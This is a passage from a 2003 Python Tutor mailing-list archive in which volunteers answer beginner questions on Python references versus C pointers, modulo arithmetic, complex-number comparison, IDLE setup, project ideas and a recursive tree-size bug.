lists are a very distinct thing.  If you want AB.po to refer to a list 
of vector items, you need to explicitly create a list:

class AB:
   def __init__(self):
       [...]
       self.po = [Vec()]      # in c struct this is Vec* po

This gives me a list containing a single item, and I can then append() 
further items to that list if needed.

Hope that this makes things a bit clearer...

Jeff Shannon
Technician/Programmer
Credit International




From dyoo@hkn.eecs.berkeley.edu  Tue Jun  3 15:55:03 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun  3 14:55:03 2003
Subject: [Tutor] Comparing complex numbers for order doesn't work
In-Reply-To: <5.2.0.9.0.20030603112110.039cf838@66.28.54.253>
Message-ID: <Pine.LNX.4.44.0306031143240.5129-100000@hkn.eecs.berkeley.edu>


On Tue, 3 Jun 2003, Bob Gailer wrote:

> OOPS I did not do my homework. So it turns out that Python % and divmod
> DO modulo, and the documentation is in error when it says "remainder".
> It sort of redeems itself later "The integer division and modulo
> operators are connected by the following identity: x == (x/y)*y +
> (x%y)."


Hi Bob,


Python does get some mathematics right, a lot more than I expected.  One
obscure thing that I find cool (if obscure) is the fact that Python
doesn't allow for comparisons between complex numbers:

###
>>> x = 1 + 0j
>>> y = -1 + 0j
>>> x < y
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: cannot compare complex numbers using <, <=, >, >=
###


And, although this seems a little weird, this is exactly the right thing
to do, because the complex numbers are not an "ordered field".  The term
"Ordered field" is math lingo for the idea that our set of things don't
support support the '<' operator.  In an ordered field, if we have a
number 'x', then:

    x**2 > 0

is a given.  (positive * positive is positive, negative * negative is
positive).  But that's exactly the axiom that complex numbers violate.


Talk to you later!



From dyoo@hkn.eecs.berkeley.edu  Tue Jun  3 16:06:17 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun  3 15:06:17 2003
Subject: [Tutor] Variable Modification in a class
In-Reply-To: <3EDCD0BE.70404@antares.enst-bretagne.fr>
Message-ID: <Pine.LNX.4.44.0306031124370.5129-100000@hkn.eecs.berkeley.edu>


On Tue, 3 Jun 2003, Mehta, Anish wrote:

> I m sorry that i am repeating my last mail. Here also in c i m doing the
> same thing. Or is there any differnce? The point is clear to me that
> when i do ' c = b' it makes the memory locations same.
>
> C example which is creating the confusion:
>
> typedef struct ab
> {
>        int a;
>        int b;
> }AB;
>
> main()
> {
>   AB b;
>   AB c;
>
>   b.a = 5;
>   b.b = 10;
>
>   c = b;
>
>   c.a = 30;
>   c.b = 40;
>
>   printf("AB values %d %d\n", b.a, b.b);
>   printf("New values %d %d\n", c.a, c.b);
> }


Let me see if I can translate the situation in C code.

/******/
AB* b = malloc(sizeof(AB));
AB* c = malloc(sizeof(AB));
b->a = 5;
b->b = 10;

c = b;            /** This is the crucial line.  */
/******/



The equivalent Python code is:

###
b = AB()
c = AB
b.a = 5
b.b = 10

c = b            ## This is the crucial line.
###

Does this make sense?  Names in Python are things that point to objects.
Since you're a C programmer, I think you'll understand this: in Python,
everything's a pointer.  That is, all object access in Python goes through
a level of indirection.



The confusion that you're running into is related to the way C allows for
two different ways of working with structures: direct access, like

/***/
AB some_object;
/***/

vs indirect access through a pointer:

/***/
AB* some_object = malloc(sizeof(AB));
/***/


If you keep in your head that Python always uses the indirect method, the
problem you're running into should be immediately clear.


What you want to do, instead of reassigning c to b, is to make a copy of
b, and assign that copy to c.  We can do this with the copy module:

    http://www.python.org/doc/lib/module-copy.html



From tireseas@onetel.com  Tue Jun  3 16:25:02 2003
From: tireseas@onetel.com (Tireseas)
Date: Tue Jun  3 15:25:02 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
Message-ID: <200306032022.45088.tireseas@onetel.com>

Hello Pythonites

I am wanting to use Idle on Slackware 9.0 but cannot seem to call it up using 
the command line, and there aren't any menu items for it. Nor can I seem to 
find it buried within the Python directory. I was under the impression that 
Iddle came as standard issue with Python releases. Has anyone else any 
experience with this and if so, how did they work it through??

Cheeers

Andy




-- 
###########################
# Reg. Linux User: 313143 #
###########################


From Anish.Mehta@enst-bretagne.fr  Tue Jun  3 16:31:16 2003
From: Anish.Mehta@enst-bretagne.fr (Mehta, Anish)
Date: Tue Jun  3 15:31:16 2003
Subject: [Tutor] Variable Modification in a class
References: <Pine.LNX.4.44.0306031124370.5129-100000@hkn.eecs.berkeley.edu>
Message-ID: <3EDCF539.8090107@antares.enst-bretagne.fr>

Thanks to everyone for giving consideration to my problem. It worked 
with copy module and it made me learn quite a few new things abt python. 
Thanks for your support.

Regards,

Anish

Danny Yoo wrote:

>On Tue, 3 Jun 2003, Mehta, Anish wrote:
>
>  
>
>>I m sorry that i am repeating my last mail. Here also in c i m doing the
>>same thing. Or is there any differnce? The point is clear to me that
>>when i do ' c = b' it makes the memory locations same.
>>
>>C example which is creating the confusion:
>>
>>typedef struct ab
>>{
>>       int a;
>>       int b;
>>}AB;
>>
>>main()
>>{
>>  AB b;
>>  AB c;
>>
>>  b.a = 5;
>>  b.b = 10;
>>
>>  c = b;
>>
>>  c.a = 30;
>>  c.b = 40;
>>
>>  printf("AB values %d %d\n", b.a, b.b);
>>  printf("New values %d %d\n", c.a, c.b);
>>}
>>    
>>
>
>
>Let me see if I can translate the situation in C code.
>
>/******/
>AB* b = malloc(sizeof(AB));
>AB* c = malloc(sizeof(AB));
>b->a = 5;
>b->b = 10;
>
>c = b;            /** This is the crucial line.  */
>/******/
>
>
>
>The equivalent Python code is:
>
>###
>b = AB()
>c = AB
>b.a = 5
>b.b = 10
>
>c = b            ## This is the crucial line.
>###
>
>Does this make sense?  Names in Python are things that point to objects.
>Since you're a C programmer, I think you'll understand this: in Python,
>everything's a pointer.  That is, all object access in Python goes through
>a level of indirection.
>
>
>
>The confusion that you're running into is related to the way C allows for
>two different ways of working with structures: direct access, like
>
>/***/
>AB some_object;
>/***/
>
>vs indirect access through a pointer:
>
>/***/
>AB* some_object = malloc(sizeof(AB));
>/***/
>
>
>If you keep in your head that Python always uses the indirect method, the
>problem you're running into should be immediately clear.
>
>
>What you want to do, instead of reassigning c to b, is to make a copy of
>b, and assign that copy to c.  We can do this with the copy module:
>
>    http://www.python.org/doc/lib/module-copy.html
>
>
>
>  
>




From sigurd@12move.de  Tue Jun  3 17:05:03 2003
From: sigurd@12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Tue Jun  3 16:05:03 2003
Subject: [Tutor] The remainder %
In-Reply-To: <5.2.0.9.0.20030603093810.038b0008@66.28.54.253> (Bob Gailer's
 message of "Tue, 03 Jun 2003 09:55:53 -0600")
References: <5.2.0.9.0.20030603093810.038b0008@66.28.54.253>
Message-ID: <m3y90j3rcq.fsf@hamster.pflaesterer.de>

On  3 Jun 2003, Bob Gailer <- bgailer@alum.rpi.edu wrote:

> In math modulo is NOT the same as remainder. At least the explanation
> says "remainder". Modulo and remainder have the same values when the
> left argument is >= 0, and different values for < 0. Example:
> n   n modulo 3  n % 3
> 3           0            0
> 2           2            2
> 1           1            1
> 0           0            0
> -1          2            1
> -2          1            2
> -3          0            0

Some time ago I had nearly the same discussion (the subject was: how
exactly is modulo in math defined); it turned out that there is no
definition for modulo which returnes *one* number. Modulo describes
something which in german is called `Restklasse' (residue class).

So it's up to the implementor of the function in the particular language
how he defines modulo.

> The only programming language I know that "got is right" is APL. There
> the function is named modulo and it DOES modulo. Most other languages
> call it modulo and it does remainder.

I am sure that Common Lisp does it `right' and I think Ada also (modulo
the multiple possibilities to define modulo :-))

$ clisp
[1]> 
(format t
        "+5 modulo +3 = ~A ~@
         +5 modulo -3 = ~A ~@
         -5 modulo +3 = ~A ~@
         -5 modulo -3 = ~A ~2%~@
         +5 reminder +3 = ~A ~@
         +5 reminder -3 = ~A ~@
         -5 reminder +3 = ~A ~@
         -5 reminder -3 = ~A"
        (mod 5 3) (mod 5 -3) (mod -5 3) (mod -5 -3)
        (rem 5 3) (rem 5 -3) (rem -5 3) (rem -5 -3))
+5 modulo +3 = 2 
+5 modulo -3 = -1 
-5 modulo +3 = 1 
-5 modulo -3 = -2 


+5 reminder +3 = 2 
+5 reminder -3 = 2 
-5 reminder +3 = -2 
-5 reminder -3 = -2
NIL
[2]> 


Python uses the same definition for modulo as Common Lisp.

bye
   Karl
-- 
"Lisp is worth learning for the profound enlightenment experience you
will have when you finally get it; that experience will make you a
better programmer for the rest of your days, even if you never
actually use Lisp itself a lot."                     -- Eric S. Raymond



From alan.gauld@blueyonder.co.uk  Tue Jun  3 18:04:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 17:04:02 2003
Subject: [Tutor] documentation
References: <BAY2-F114sIP4LlWhPu0000f969@hotmail.com> <200306022239.41004.shalehperry@attbi.com>
Message-ID: <002301c32a13$3db9fc50$6401a8c0@xp>

> thought about as "perhaps the doc could be 
> laid out so people could read at the level 
> they are comfortable at" I would definately 
> agree to.

I dunno if you've seen the downloadable TCL 
tutor? It is a Tk application whereby you can 
select the level from beginner, intermediate 
or expert.

The expert level is just the man pages, 
intermediate a condensed version of the beginner 
stuff. Its very clever and I did consider a project 
to build a Python equivalent, in fact in principle 
you could use the Tcl one since the material is in HTML.

However the other neat feature is that includes 
live exercises where the student can type in commands 
and execute them or fix pre written ccommands which 
are faulty. Its one of the best tutors I've seen for 
any language and very comprehensive too.

The url is:

http://www.msen.com/~clif/TclTutor.html

for the curious :-)

Alan G.
And its on the CD ROM for readers of my book! :-)


From alan.gauld@blueyonder.co.uk  Tue Jun  3 18:11:11 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 17:11:11 2003
Subject: [Tutor] subscript problem
References: <Sea1-F140162Kmq82tS00027a14@hotmail.com>
Message-ID: <001601c32a14$9d818710$6401a8c0@xp>

> I am having a problem with handling some pointers. 
> My problem is like this:
> 
> typedef struct ab
> {
>       short n_p;

Thus far we see C code

> Now the function:
> 
> XYZ(AB* out)

Which also looks like old style C with its 
implicit integer return type...

>         v_start = out -> po[first];   // v_start is of type Vec.
> }
> 
> 
> The problem is that when i use po[first] it gives 
> an error message saying that 
> AttributeError: Vec instance has no attribute '__getitem__'
> 

Which looks like a Python error. Can you show us where 
python is getting called? You have pure C code hee so 
far as I can tell.

po is a pointer to Vec which in C could be an array of 
Vec - you certainly seem to assume so othewise 
indexing makes no sense!is a struct so where is the 
function called from? With what arguments? And where 
does Python come into this?

A Puzzled Python Tutor,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From alan.gauld@blueyonder.co.uk  Tue Jun  3 18:18:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 17:18:01 2003
Subject: [Tutor] The remainder %
References: <5.2.1.1.0.20030603145422.01f581f8@www.thinkware.se>
Message-ID: <001f01c32a15$814a8410$6401a8c0@xp>

> There is really no support in any programming lanugage that I
> know of for mathematics of the sort "What is 575 plus 10%". 


COBOL:

ADD 5 PERCENT TO TOTAL

Or it may have been 

TOTAL = SUMMARY PLUS 5 PERCENT

My COBOL is a little rusty!
And its not ISO standard COBOL only some variants.

Alan G.


From alan.gauld@blueyonder.co.uk  Tue Jun  3 18:51:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 17:51:03 2003
Subject: [Tutor] Variable Modification in a class
References: <06738462136C054B8F8872D69DA140DB0107CB@corp-exch-1.pjinet.com> <3EDCD0BE.70404@antares.enst-bretagne.fr>
Message-ID: <004601c32a1a$2d108700$6401a8c0@xp>

> when i do ' c = b' it makes the memory locations same.
> 
> C example which is creating the confusion:
> 
> main()
> {
>   AB b;
>   AB c;

Lets change the C example so it is more like 
the Python one, that might help.

/*gosh I'd forgotten how horrible malloc is! */
AB* b = (AB*)malloc(AB); 
AB* c = (AB*)malloc(AB);

>   b->a = 5;
>   b->b = 10;
> 
>   c = b;

Now, c points to the same original object as B and 
the one that C pointed to is lost(a memory leak in 
C, garbage colected in Python)

>   c->a = 30;
>   c->b = 40;
> 
>   printf("AB values %d %d\n", b.a, b.b);
>   printf("New values %d %d\n", c.a, c.b);
> }

Now both lines will print the same values, just 
like Python.

HTH,

Alan G.


From alan.gauld@blueyonder.co.uk  Tue Jun  3 18:57:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 17:57:02 2003
Subject: [Tutor] RE: I don't understand why it doesn't work :(
References: <NBEHJBEKFMHNFJKOHIOAIENJCIAA.willblake@wanadoo.fr>
Message-ID: <004d01c32a1a$fb392b50$6401a8c0@xp>

> I expected 17 because I tought that
> print int (s) convert my string in an integer
> so that the addition between 3*4 and 5 was possible.

But "3*4" is not a number it is an arithmetic expression.
YOu could evaluate the string and then add 5:

result = eval("3*4") + 5

But int() expects the string representation of 
a number and only a number.

If you know the format of the string you could also
do:

result = int(s[0]) * int(s[-1) + 5

which converts the first and last characters of s to ints.

Or you could split the expression using the arithmetic 
operators (+-*/) as the dividing characters and try to 
interpret the string that way (but then that's what 
eval() does for you!)

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From python-tutor@mail.ev1.net  Tue Jun  3 18:57:15 2003
From: python-tutor@mail.ev1.net (python-tutor)
Date: Tue Jun  3 17:57:15 2003
Subject: [Tutor] newbie programmer
Message-ID: <200306031701.AA9437412@mail.ev1.net>

I have downloaded python and I really like it so far, and I have 
gotten about half way through the "how to think like a computer 
scientist" book understanding a good deal of it.  I guess I am 
just wondering what sort of real world things I can do with 
python?  I would like to write a real world application that would 
help me to put everything I have learned so far together.  Does 
anyone have any advice or suggestions?  I would love to work on a 
newbie project with some folks that would be wonderful.  Any help 
is greatly appreciated.  I hope I didn't sound like to much of a 
newbie.  

Dustin Phillips
Python newbie
python-tutor@ev1.net
 

________________________________________________________________
Sent via the EV1 webmail system at mail.ev1.net


 
                   


From alan.gauld@blueyonder.co.uk  Tue Jun  3 19:03:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 18:03:02 2003
Subject: [Tutor] The remainder %
References: <5.2.0.9.0.20030603093810.038b0008@66.28.54.253> <5.2.0.9.0.20030603112110.039cf838@66.28.54.253>
Message-ID: <001401c32a1b$cc425a50$6401a8c0@xp>

Hi Bob,

> OOPS I did not do my homework. So it turns
> out that Python % and divmod DO modulo, and
> the documentation is in error when it says
> "remainder". 

>From the "you're never too old to learn" school
I have to say that despite studying math for a 
total of 21 years of formal education I had not 
realized there was a difference till you pointed 
it out!

I stand enlightened... :-)

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From alan.gauld@blueyonder.co.uk  Tue Jun  3 19:11:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 18:11:02 2003
Subject: [Tutor] subscript problem
References: <Sea1-F59MK5P6AiMUFR00047f78@hotmail.com>
Message-ID: <001d01c32a1d$09ab5f30$6401a8c0@xp>

> class AB:
>     def __init__(self):
>         self.n_p = None
>         self.po = Vec()      # in c struct this is Vec* po
>         self.con = []        # in c struct this is short* con
>
>
> class Vec:...

> def XYZ(out):
>     n = 0
>     out.con.append(5)
>     last = out.con[n]

So last now equals 5 after the first call.

>     v_start = out.po[last]

But out is a Vec object and a Vec is not a sequence
so you can't index into it! You could if you defined a __getItem__
method which is how to override the []
operator in Python. That's why the error message says
what it does. You are trying to index into an object
which is not a sequence and doesn't provide a getItem
method.

Even if you created a list of Vec() objects you would
still get an IndexError if there were less than 5 of them.

Can you explain in words what you are trying to do with
Vec, AB etc?

Maybe we can find a more Pythonic way of doing it?

Alan G.



From gerrit@nl.linux.org  Tue Jun  3 19:12:03 2003
From: gerrit@nl.linux.org (Gerrit Holl)
Date: Tue Jun  3 18:12:03 2003
Subject: [Tutor] newbie programmer
In-Reply-To: <200306031701.AA9437412@mail.ev1.net>
References: <200306031701.AA9437412@mail.ev1.net>
Message-ID: <20030603221056.GA15123@nl.linux.org>

python-tutor schreef op dinsdag  3 juni om 23:57:38 +0000:
> I have downloaded python and I really like it so far, and I have 
> gotten about half way through the "how to think like a computer 
> scientist" book understanding a good deal of it.  I guess I am 
> just wondering what sort of real world things I can do with 
> python?  I would like to write a real world application that would 
> help me to put everything I have learned so far together.  Does 
> anyone have any advice or suggestions?  I would love to work on a 
> newbie project with some folks that would be wonderful.  Any help 
> is greatly appreciated.  I hope I didn't sound like to much of a 
> newbie.  

It can be anything!

A mail archiver,
a computer game,
a vocabulary teacher,
a dvorak teacher,
a rewrite of 'du',
a port of 'tcgrep',
an image drawing program,
a tetris program,
...or something else...!

My problem usually is that I don't finish projects. Some don't
even get started: see ng-arch@amk.ca or Discoverb. Another
problem you may run into is being too ambitious in the beginning.
I think particularly small games are great for a starter. You
may want to have a look at pygame and pygsear for that. A tetris
clone is a perfect practice. I am currently writing Pybrian, a
jump-and-run game but maybe it turns out to be too ambitious for
now and I'll first create a tetris game to practice in programming
an sich.

I hope you find something cool!

yours,
Gerrit.

-- 
100. ... interest for the money, as much as he has received, he shall
give a note therefor, and on the day, when they settle, pay to the
merchant.
        -- 1780 BC, Hammurabi, Code of Law
--
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/


From magnus@thinkware.se  Tue Jun  3 19:13:08 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 18:13:08 2003
Subject: [Tutor] Newbie here ... Have python installed and have
 been trying the beginning tutorials
In-Reply-To: <003101c329cf$65f61120$c47dfea9@client>
References: <003901c32956$2ac22a40$c47dfea9@client>
 <00a801c329a0$c1b88f30$6401a8c0@xp>
Message-ID: <5.2.1.1.0.20030604001410.01f43ee0@www.thinkware.se>

At 08:55 2003-06-03 -0400, Dirigo wrote:
>I like
>a book to work from, but am waiting based upon your and other
>suggestions ... in particular the ones that are about to have another
>newer version to be released within the next few months.  Hope that
>comes off as scheduled ... meaning the book releases.

For the time being, there is a lot you can download and print
if you prefer paper...

See http://www.thinkware.se/cgi-bin/thinki.cgi/PythonDocs
for a selection.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From hodge3@llnl.gov  Tue Jun  3 19:24:13 2003
From: hodge3@llnl.gov (Neil Hodge)
Date: Tue Jun  3 18:24:13 2003
Subject: [Tutor] /usr/bin/env problem
Message-ID: <3EDD1FC2.9060704@llnl.gov>

All:

I have two python scripts in the same directory, with the same 
permissions, both with the standard line:

#!/usr/bin/env python

at the top.  One runs, one doesn't.  One bombs with the error:

/usr/bin/env: No such file or directory

In addition, running:

/usr/bin/env python

at the command line works fine.  Anyone else run into this?  Thanks.

Neil



From alan.gauld@blueyonder.co.uk  Tue Jun  3 19:37:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 18:37:01 2003
Subject: [Tutor] Variable Modification in a class
References: <Pine.LNX.4.44.0306031124370.5129-100000@hkn.eecs.berkeley.edu>
Message-ID: <003d01c32a20$8fb63930$6401a8c0@xp>

Danny Yoo wrote:
> AB* b = malloc(sizeof(AB));
> AB* c = malloc(sizeof(AB));

Boy my C is rusty, I even got malloc wrong after 
I "fixed" it. I forgot the sizeof() mantra... And 
I didn't need the cast coz they are type compatible. 
Doh! That's what living with Java, C++ and Python 
does for you. Glad you are around Danny, to show 
the right way to do it! :-)

Alan G.



From alan.gauld@blueyonder.co.uk  Tue Jun  3 19:44:14 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 18:44:14 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net>
Message-ID: <005201c32a21$9b079a80$6401a8c0@xp>

> just wondering what sort of real world things I can do with 
> python?  

Games, Graphics, Scientific numerical simulations, etc.
THere used to even be a web browser written in Python, 
there is also a graphics program(like Visio).

Try searching sourceforge to see what open source projects 
are underway using Python. 

With ,more experience you can even join one of the project 
teams...

Oh yes, And the IDLE development tool that comes with 
Python is written in Python...

> anyone have any advice or suggestions?  

For some fun small projects check out the "Useless Python" 
website, which is far from useless...

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From nas@python.ca  Tue Jun  3 19:53:02 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue Jun  3 18:53:02 2003
Subject: [Tutor] Resetting the environment
In-Reply-To: <qrpndvs25kkq6j1dppbisrkb6grm5mka0t@4ax.com>
References: <qrpndvs25kkq6j1dppbisrkb6grm5mka0t@4ax.com>
Message-ID: <20030603034458.GA6845@glacier.arctrix.com>

Tom Plunket wrote:
> I'd basically like to undefine everything and unload all of the
> modules.

Restarting would be the easiest.  It would be possible to write a
function that clears all modules (I think) but it would be a non-trivial
amount of work and it's not a standard thing.

  Neil


From nas@python.ca  Tue Jun  3 19:53:09 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue Jun  3 18:53:09 2003
Subject: [Tutor] imaplib copy
In-Reply-To: <20030602220742.GA2772@boora.com>
References: <20030602220742.GA2772@boora.com>
Message-ID: <20030602232816.GA6327@glacier.arctrix.com>

Michael Montagne wrote:
> for num in data[0].split():
>     typ, data = M.fetch(num, '(RFC822)')
> #    M.append('/home/montagne/Mail/spam',None,None,data[0][1])
>     M.copy(num,'/home/montagne/Mail/spam')
>     print 'Message %s\n' % (data[0][1])
> M.logout()

Based on a quick look at the imaplib code, I would guess that copy()
tries to copy the message to a server side mail box.  You probably need
to open() the mbox file and use read() and write() to copy the message.

  Neil


From allomber@math.u-bordeaux.fr  Tue Jun  3 19:53:22 2003
From: allomber@math.u-bordeaux.fr (Bill Allombert)
Date: Tue Jun  3 18:53:22 2003
Subject: [Tutor] Re: gp2c for windows xp and PBX translator
In-Reply-To: <009d01c3299e$46d76a40$6401a8c0@xp>
References: <Law15-F108GJziWwSoR00019fed@hotmail.com> <009d01c3299e$46d76a40$6401a8c0@xp>
Message-ID: <20030603101445.GQ24930@seventeen>

On Tue, Jun 03, 2003 at 08:03:46AM +0100, Alan Gauld wrote:
> > Ps: I wonder if we can do this with Python? Ie., call Pari 
> > AND call Python from basic:C as I have shown above. 
> > I cc'd one of the the python communities. I am working on it now. 
> 
> I think you need a better explanation of what you want. Most 
> folks on the Python tutor list have no idea what pari is
> (certainly I don't) nor what exactly you did with it that 
> you would like to do in Python.

PARI/GP is a computer algebra system. <www.parigp-home.de>
> 
> If you could ask the question again, assuming no prior knowledge 
> of pari we might be able to help.

There is Python binding available here

<http://www.eleves.ens.fr:8080/home/fermigie/PariPython/readme.html>
But they are not maintained anymore.

Be sure to completly understand PARI memory model before doing
anything alse you will get random SEGV.

Cheers,
Bill.


From GGates@NaviSite.com  Tue Jun  3 19:53:35 2003
From: GGates@NaviSite.com (Gates, George)
Date: Tue Jun  3 18:53:35 2003
Subject: [Tutor] The remainder %
Message-ID: <C80A771CCD12EE47826002450C945256A33D55@knight.empire.clrbl.com>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C329CA.C996EDB1
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

The modulus operator (%) divides and returns the remainder.  In this
case it divides 14 by 3 resulting in 4 with a remainder of 2.  4*3=3D12,
14-12=3D2, 2 is the result.

=20

--George H. Gates=20

-----Original Message-----
From: Guillaume [mailto:willblake@wanadoo.fr]=20
Sent: Tuesday, June 03, 2003 8:09 AM
To: tutor@python.org
Subject: [Tutor] The remainder %

=20

Hello,

I'm not very good in maths and I don't understand why=20

14 % 3 =3D 2

Could someone explain me this mystery?

Thanks in advance :)

=20


------_=_NextPart_001_01C329CA.C996EDB1
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">




<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
	{font-family:"Arial Narrow";
	panose-1:2 11 5 6 2 2 2 3 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p
	{margin-right:0in;
	margin-left:0in;
	font-size:12.0pt;
	font-family:"Times New Roman";}
span.EmailStyle17
	{font-family:Arial;
	color:navy;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>The modulus operator (%) divides =
and
returns the remainder.&nbsp; In this case it divides 14 by 3 resulting =
in 4 with a
remainder of 2.&nbsp; 4*3=3D12, 14-12=3D2, 2 is the =
result.</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;</span></font></p>

<div>

<p><font size=3D2 color=3Dnavy face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt;
color:navy'>--George H. Gates </span></font></p>

</div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Guillaume
[mailto:willblake@wanadoo.fr] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Tuesday, June 03, =
2003 8:09
AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> tutor@python.org<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> [Tutor] The =
remainder %</span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

<div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Arial Narrow"><span
style=3D'font-size:12.0pt;font-family:"Arial =
Narrow"'>Hello,</span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Arial Narrow"><span
style=3D'font-size:12.0pt;font-family:"Arial Narrow"'>I'm not very good =
in maths
and I don't understand why </span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Arial Narrow"><span
style=3D'font-size:12.0pt;font-family:"Arial Narrow"'>14 % 3 =3D =
2</span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Arial Narrow"><span
style=3D'font-size:12.0pt;font-family:"Arial Narrow"'>Could someone =
explain me
this mystery?</span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Arial Narrow"><span
style=3D'font-size:12.0pt;font-family:"Arial Narrow"'>Thanks in advance =
:)</span></font></p>

</div>

<div>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
face=3D"Times New Roman"><span
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C329CA.C996EDB1--


From nas@python.ca  Tue Jun  3 19:53:49 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue Jun  3 18:53:49 2003
Subject: [Tutor] subscript problem
In-Reply-To: <Sea1-F140162Kmq82tS00027a14@hotmail.com>
References: <Sea1-F140162Kmq82tS00027a14@hotmail.com>
Message-ID: <20030603150527.GA7710@glacier.arctrix.com>

Jimmy verma wrote:
> I am having a problem with handling some pointers. My problem is like this:

[C code cut]

Could you post the Python version?  That would make it easier to help
you.

  Neil


From eladioventura@yahoo.com  Tue Jun  3 19:53:57 2003
From: eladioventura@yahoo.com (Eladio Ventura)
Date: Tue Jun  3 18:53:57 2003
Subject: [Tutor] Unsupported operand types for +: 'NoneType' and 'int' - HUH?!
Message-ID: <20030603201525.GA5960@yahoo.com>

I'm in the process of learning binary trees, and just as everything is
going peachy, I try to make a function which calculates the total number
of nodes and get the following error:

TypeError: unsupported operand types for +: 'NoneType' and 'int'

The culprit is the following function:

def size(self, tree):
	if tree == None: return
	else:
		return self.size(tree.left) + 1 + self.size(tree.right)

What gives anyone? I guess it means I can't add a None and an Int, but
int() couldn't convert the None, and now I'm stuck. Here's a snippet
that illustrates the problem:

------------------------------------
#! /usr/bin/env python

class Tree:
    def __init__(self, cargo=None, left=None, right=None):
        self.cargo = cargo
        self.left  = left
        self.right = right

    def build123a(self):
        root  = Tree(2)
        left   = Tree(1)
        right  = Tree(3)
        root.left = left
        root.right = right
        return root

    def printTreeInorder(self, tree):
        if tree == None: return
        self.printTreeInorder(tree.left)
        print tree.cargo,
        self.printTreeInorder(tree.right)

    def size(self, tree):
        if tree == None: return
        else:
            return self.size(tree.left) + 1 + self.size(tree.right)

if __name__ == '__main__':
    t = Tree()
    t = t.build123a()
    t.printTreeInorder(t)

    print
    print "Size of Tree:", t.size(t)


------------------------------------
% python tree.py

1 2 3
Size of Tree:
Traceback (most recent call last):
  File "tree.py", line 34, in ?
    print "Size of Tree:", t.size(t)
  File "tree.py", line 26, in size
    return self.size(tree.left) + 1 + self.size(tree.right)
